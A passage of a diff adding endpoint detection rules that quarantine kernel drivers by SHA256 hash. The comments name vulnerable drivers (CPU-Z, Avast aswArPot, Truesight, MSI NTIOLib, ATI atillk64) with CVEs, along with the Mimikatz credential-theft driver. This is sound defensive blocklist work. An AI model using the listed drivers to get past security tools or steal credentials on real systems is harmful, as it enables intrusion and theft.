+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "653601cf8c3c2c4b778f9025d4e964c887966cc3216bb35a73a3ae75477b4476",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a133284a-a291-5215-8df2-0a854e664a24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969257Z",
+  "creation_date": "2026-03-23T11:45:29.969259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aaa3459bcac25423f78ed72dbae4d7ef19e7c5c65770cbe5210b14e33cd1816c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a138f940-5851-5ac4-a789-44279cd09021",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143788Z",
+  "creation_date": "2026-03-23T11:45:31.143790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3dff040ce865489dbbec07b54d52c282d4b1e7ec468d54e1c90d086a3522255",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a13b20e2-1009-53bb-8472-3f2d356e9867",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143060Z",
+  "creation_date": "2026-03-23T11:45:31.143061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd978d1bf595a536361017627a37929a7cea97b7ff0481526efa59f3cef6b479",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a141398c-4faa-50ca-8d4a-497300e18a03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813863Z",
+  "creation_date": "2026-03-23T11:45:31.813865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813885Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1bb3e25e7a482bf47179ac18e747037f9515d058824f0c07fc323027d4d0bf13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a145fc68-aead-5cec-8a4a-f170b5ec31e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611308Z",
+  "creation_date": "2026-03-23T11:45:29.611309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b46fb3ed5a7a84ef594ab0b76f384aa2dca0614574478fb98308806612609465",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a14626ad-8043-5ff0-bd15-099db05a290d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159193Z",
+  "creation_date": "2026-03-23T11:45:31.159195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "426f0507ecdd90b1fd400d79c2fb0e2b62ae329647ab9511139a8b450da0c327",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a152c187-c038-54ab-bc80-cf0f8ffcb6cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810182Z",
+  "creation_date": "2026-03-23T11:45:31.810184Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810190Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18e64cc0071989c4052112a2566fe2a70daebec57de48c335357729afca7da72",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a15529a5-6d6a-53d7-aca9-57945c4cb1d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482370Z",
+  "creation_date": "2026-03-23T11:45:31.482374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "913fe318fb59a71cf9e5071009c9bc8db146b31da716980757e4744d48dc3f90",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1630155-da2c-51cf-9fe0-02be02687a55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828173Z",
+  "creation_date": "2026-03-23T11:45:30.828175Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828180Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e6d3b0e2bc567dc978a349e58c3dca212a75b09da7d944e5168b9de84ca883e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a169b8e4-42ac-563b-9e45-d94ee3cd6b70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969612Z",
+  "creation_date": "2026-03-23T11:45:29.969614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03a54ad77fc453c9889e170a811d232a305d46fb7f59582d3f1cb234598507a1",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a16cdef7-d758-5008-8506-3342d94bae27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827840Z",
+  "creation_date": "2026-03-23T11:45:31.827842Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e290d8863ca733d2dce2716dd2527cc1fc2698a0c5e8defdb3ba9a320c3aaaa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a18ce454-f8c7-58ce-b538-44be0f92a0a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614506Z",
+  "creation_date": "2026-03-23T11:45:29.614508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39cfde7d401efce4f550e0a9461f5fc4d71fa07235e1336e4f0b4882bd76550e",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a18f9c26-3ab9-5ac1-a49b-c5cc8c362d5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617413Z",
+  "creation_date": "2026-03-23T11:45:29.617415Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83ffcfaf429c8368194d7b73f7729d97d6a3b80fb203d57055f3e4eec8228914",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a18fc74d-2660-5ff1-b3e7-d6363648cc6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154350Z",
+  "creation_date": "2026-03-23T11:45:31.154352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbac1a38b4e028dd833b9a1e1d7a829f3e4520846fd312ac8c3ef310c235d27f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a19ffef0-a445-5c7a-9db6-b1b4c7cdb375",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814886Z",
+  "creation_date": "2026-03-23T11:45:31.814890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48f81bd54cc3e4d049f9a88d3952c6e7fba1097785001be9bc4e4aa581eb2479",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1af1167-2942-56fd-97d4-f6c795e7615c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979794Z",
+  "creation_date": "2026-03-23T11:45:29.979796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979802Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79278979d9300670d1084493bbc03ae374efc5ab02850941e85753885fa88e47",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1b248aa-0d41-5619-a86a-7ab9478ab7b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822544Z",
+  "creation_date": "2026-03-23T11:45:31.822546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e66650e0dcdee274e2b23263027ae9a0d6efaffb81fd7c51ab0f542175e49ed4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1c4d6a8-3a25-52e9-b149-8352002efd1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825476Z",
+  "creation_date": "2026-03-23T11:45:31.825478Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6111959c7d497cdf76b482c20ba18c11ff075af083cd6143527e5ed5cc902c07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1d62b8b-e4ec-5085-8e0a-35fcfb725ffe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970964Z",
+  "creation_date": "2026-03-23T11:45:29.970967Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d172d95afc72a8a4a6362175bd68b5f4405f166fff94464d845213af586fe8bd",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1d76c4d-6f19-59c4-9dcf-ad77d2b00873",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980958Z",
+  "creation_date": "2026-03-23T11:45:29.980960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bceaf970b60b4457eca3c181f649a1c67f4602778171e53d9bdc9b97a09603ca",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1e19de0-8952-508b-b869-67b8c9af3f82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980785Z",
+  "creation_date": "2026-03-23T11:45:29.980787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980792Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9544fbc011638cbc168f6ea4740cc6ed6fd331769e191fd64bdf9113eb64fde1",
+  "comment": "Vulnerable Kernel Driver (aka PanMonFltX64.sys) [https://www.loldrivers.io/drivers/40bfb01b-d251-4c2c-952e-052a89a76f5b/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1e6553d-bd83-50d3-8003-124ab5210717",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465957Z",
+  "creation_date": "2026-03-23T11:45:30.465960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
